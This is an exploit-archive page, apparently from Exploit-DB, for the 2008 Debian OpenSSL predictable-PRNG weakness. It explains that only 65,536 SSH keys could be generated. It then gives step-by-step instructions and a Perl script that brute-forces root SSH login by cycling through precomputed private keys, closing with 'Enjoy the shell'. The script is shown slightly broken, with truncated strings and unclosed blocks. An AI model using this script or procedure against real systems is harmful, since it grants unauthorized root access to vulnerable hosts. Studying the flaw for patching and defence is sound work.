OpenSSL 0.9.8c-1 < 0.9.8g-9 (Debian and Derivatives) - Predictable PRNG Brute Force SSH (Perl)







Become a Certified Penetration Tester

Enroll in Penetration Testing with Kali Linux and pass the exam to become an Offensive Security Certified Professional (OSCP). All new content for 2020.

the debian openssl issue leads that there are only 65.536 possible ssh 
keys generated, cause the only entropy is the pid of the process 
generating the key.

This leads to that the following perl script can be used with the 
precalculated ssh keys to brute force the ssh login. It works if such a 
keys is installed on a non-patched debian or any other system manual 
configured to.

On an unpatched system, which doesn't need to be debian, do the following:

keys provided by HD Moore -   
***E-DB Note: Mirror ~***

1. Download (debian_ssh_rsa_2048_x86.tar.bz2)

2. Extract it to a directory

3. Enter into the /root/.ssh/authorized_keys a SSH RSA key with 2048 
Bits, generated on an upatched debian (this is the key this exploit will 

4. Run the perl script and give it the location to where you extracted 
the bzip2 mentioned.

my $keysPerConnect = 6;
unless ($ARGV[1]) {
   print "Syntax : ./ pathToSSHPrivateKeys SSHhostToTry\n";
   print "Example: ./ /root/keys/\n";
   print "By\n";
   exit 0;
opendir(A, $ARGV[0]) || die("opendir");
while ($_ = readdir(A)) {
   next unless m,^\d+$,;
   push(@a, $_);
   if (scalar(@a) > $keysPerConnect) {
      system("echo ".join(" ", @a)."; ssh -l root ".join(" ", map { "-i 
".$_ } @a)." ".$ARGV[1]);
      @a = ();

5. Enjoy the shell after some minutes (less than 20 minutes)

Markus Mueller

# [2008-05-15]